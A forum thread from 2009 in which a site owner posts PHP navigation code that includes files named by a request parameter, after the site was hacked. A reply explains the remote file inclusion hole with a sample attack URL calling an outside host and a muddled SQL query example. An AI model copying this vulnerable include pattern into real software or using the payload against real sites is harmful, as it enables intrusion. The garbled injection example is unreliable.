Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
Problem with navigation through the pages!!!!!!
Old 07-24-2009, 06:00 PM Problem with navigation through the pages!!!!!!
Junior Talker

Posts: 4
Trades: 0
Hello everybody, I'm new in this forum.

I really need your help.

The problem with my website is that I delete some code from the main part and know doesn't navigate to the rest of the pages. To understand it more I give to you the website and the code I delete.

the website is www.saundersheritage.com

and the original code was this:

<table width="100%" border="0">
<tr>
<td id="header" height="175" colspan="3">
<?php include("header.inc.php"); ?></td>
</tr>
<tr>
<td id="nav" width="15%" valign="top">
<?php include("nav.inc.php"); ?></td>
<td id="main" width="55%" valign="top">
<?php include("main.inc.php"); ?></td>
<td id="news" width="30%" valign="top">
<?php include("news.inc.php"); ?></td>
</tr>
<tr>
<td id="footer" colspan="3"> <div align="center">
<?php include("footer.inc.php"); ?> </div></td>
</tr>
</table>
</body>
</html>

The part that I delete

<table width="100%" border="0">
<tr>
<td id="header" height="175" colspan="3">
<?php include("header.inc.php"); ?></td>
</tr>
<tr>
<td id="nav" width="15%" valign="top">
<?php include("nav.inc.php"); ?></td>
<td id="main" width="55%" valign="top">
<?php
if (!isset($_REQUEST['content']))
include("main.inc.php");
else
{
$content = $_REQUEST['content'];
$nextpage = $content . ".inc.php";
include($nextpage);

} ?></td>
<td id="news" width="30%" valign="top">
<?php include("news.inc.php"); ?></td>
</tr>
<tr>
<td id="footer" colspan="3"> <div align="center">
<?php include("footer.inc.php"); ?> </div></td>
</tr>

The problem
Don't show any of the other pages

The solution
I hope you can find another to write this code. thank you.
adrimar7891 is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 07-24-2009, 06:15 PM Re: Problem with navigation through the pages!!!!!!
chrishirst's Avatar
Missing! presumed drunk.

Posts: 42,384
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
So lets see if I have got this right.

You deleted the code that appears to create the site navigation and you are now wondering why you can then no longer navigate through the site.
__________________
Chris. ->>
Please login or register to view this content. Registration is FREE
<<-

A foolish consistency is the hobgoblin of little minds
Thought for today:- Is SEO the only industry where all the cowboys are Indians?
chrishirst is online now
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 07-26-2009, 12:04 PM Re: Problem with navigation through the pages!!!!!!
Junior Talker

Posts: 4
Trades: 0
The real problem was, that my website was hacked... and the host company called me and asked to delete that part of the code because was causing problems, and was easy for hacker.

Now I delete the code, and of course there's no navigation.

I'm wonder if there's other way to organize the navigation different to the one I was using.

Thank you for your answer.

If you know any book or webpage that can help me with this, please that will be helpful to me.
Thank you.
adrimar7891 is offline
Reply With Quote
View Public Profile
 
Old 07-27-2009, 06:40 PM Re: Problem with navigation through the pages!!!!!!
orionoreo's Avatar
Ultra Talker

Posts: 335
Name: Jerry
Trades: 0
yup the host company is right... you shouldn't make request for content that way because its easily hackable... theoretically... i'm not a hacker but I see this problem:

PHP Code:
$content $_REQUEST['content'];
                
$nextpage $content ".inc.php";
                include(
$nextpage); 
I change the url to index.php?content=http://www.mydomain.com/hack.php?x= then suddenly i've included my content into your page

and if hack.php is just an iframe then even worse...

or I could exploit ur database as such

index.php?content=main.inc.php);mysql_query("SELEC T * FROM user_table"

something along those lines...

you might want to consider restructuring your code
__________________

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
orionoreo is offline
Reply With Quote
View Public Profile
 
Old 07-27-2009, 07:38 PM Re: Problem with navigation through the pages!!!!!!
Junior Talker

Posts: 4
Trades: 0
Well, I'll take care of that.

Thank you for your advise.
adrimar7891 is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Problem with navigation through the pages!!!!!!
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.58887 seconds with 12 queries